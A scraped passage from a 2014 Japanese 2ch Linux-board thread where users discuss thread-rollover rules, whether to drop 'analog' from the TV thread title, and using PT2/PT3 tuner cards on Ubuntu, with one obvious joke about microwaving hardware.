2014/12/01(月) 01:53:36.07ID:HDaSj6ae0959login:Penguin
2014/12/01(月) 14:09:22.28ID:wrti9hjL不定期のスレ圧縮時は最終書き込みが古いスレが落ちる。
いずれも age/sage は無関係。
0960login:Penguin
2014/12/01(月) 16:54:13.34ID:HDaSj6ae980超えると24時間レスない場合も落ちるよ
0961login:Penguin
2014/12/01(月) 17:03:52.32ID:A8w+D5lH0962login:Penguin
2014/12/02(火) 07:43:35.48ID:yK2QhL7Eたいていレスのほとんど付いてない糞スレと
980超えしたスレで枠を満たすので
下から落ちる事はほぼ無いw
そして、950で立てるルールは1日も掛からずに
950から1000が埋まるスレだからそのルールがあるのであって、
そこまでレスの付くようなスレでは無いところでまで適用するなとw
0963login:Penguin
2014/12/02(火) 14:45:22.63ID:2AKf7WL/0964login:Penguin
2014/12/03(水) 00:53:17.49ID:6p/CugPc0965login:Penguin
2014/12/03(水) 01:26:52.41ID:pDaCUJne少なくとも、スレタイにもう「アナログ」は要らなくね?
0966login:Penguin
2014/12/03(水) 01:33:03.07ID:6p/CugPcデジタルも一緒に消せばいいじゃん
そうすりゃ面倒な議論とかもいらないっしょ
0967login:Penguin
2014/12/03(水) 01:34:25.56ID:tosDps6o0968login:Penguin
2014/12/03(水) 01:58:20.51ID:pDaCUJneテレビ放送でアナログなくなってるんだから、テレビ総合スレとしては不要では?
>>967
AV入力って「テレビ」じゃないじゃん。
0969login:Penguin
2014/12/03(水) 02:05:40.36ID:6p/CugPc今でもデジアナ変換してる地域はあるらしい
というか、アナログだけ外したら「デジタル」に限定することになるけど
アナログが存在していないという前提なら、「デジタル」に限定する意味もない
0970login:Penguin
2014/12/03(水) 02:28:53.34ID:knUP/sRuだからここは間を取って【アナル】にしようぜ
0971login:Penguin
2014/12/03(水) 02:43:12.48ID:RZx4K8wa赤外線でコントロールすれば宜し。
どうしてもアナログ電波に拘るならアマチュア無線のATVでも受信しよう。
確かBSアナログチューナで行けた筈。
0972login:Penguin
2014/12/03(水) 04:20:10.04ID:qFZJOo6Z0973login:Penguin
2014/12/03(水) 07:25:21.02ID:VNBhJXT00974login:Penguin
2014/12/03(水) 07:35:29.77ID:6p/CugPchttp://hayabusa6.2ch.net/test/read.cgi/linux/1417559598/
0975login:Penguin
2014/12/03(水) 07:36:59.39ID:OhxBsXKJ0976login:Penguin
2014/12/03(水) 11:05:47.57ID:+TxUgBXe0977login:Penguin
2014/12/03(水) 11:28:24.15ID:f2S8rGmu画期的な色になって、すぐ消えた♪
おいおい
0978login:Penguin
2014/12/03(水) 17:32:06.32ID:771HzfP3前はなんかWindowsで焼いたりしないといけないとか見たけど
0979login:Penguin
2014/12/03(水) 18:52:40.91ID:AtwA2ujx> Windowsで焼いたりしないといけない
が何か分からないけど
数週間前PT2がダメになったからPT3にして録画して観ているよ
どっちもubuntuでやってます
0980login:Penguin
2014/12/03(水) 19:06:02.69ID:b81pldiE0981login:Penguin
2014/12/03(水) 20:36:59.62ID:5blXrLB4何言ってんだよ、電子レンジで1分40秒焼くんだよ。
ポイントは500wってところだ。間違えるなよ。
0982login:Penguin
2014/12/03(水) 20:42:44.76ID:0hpIk32Iホントカネー
0983login:Penguin
2014/12/03(水) 22:23:45.89ID:Ui0/ZcO70984login:Penguin
2014/12/03(水) 22:37:48.05ID:b81pldiEhttps://www.youtube.com/watch?v=w86oTTy9Wcs
レス数が950を超えています。1000を超えると書き込みができなくなります。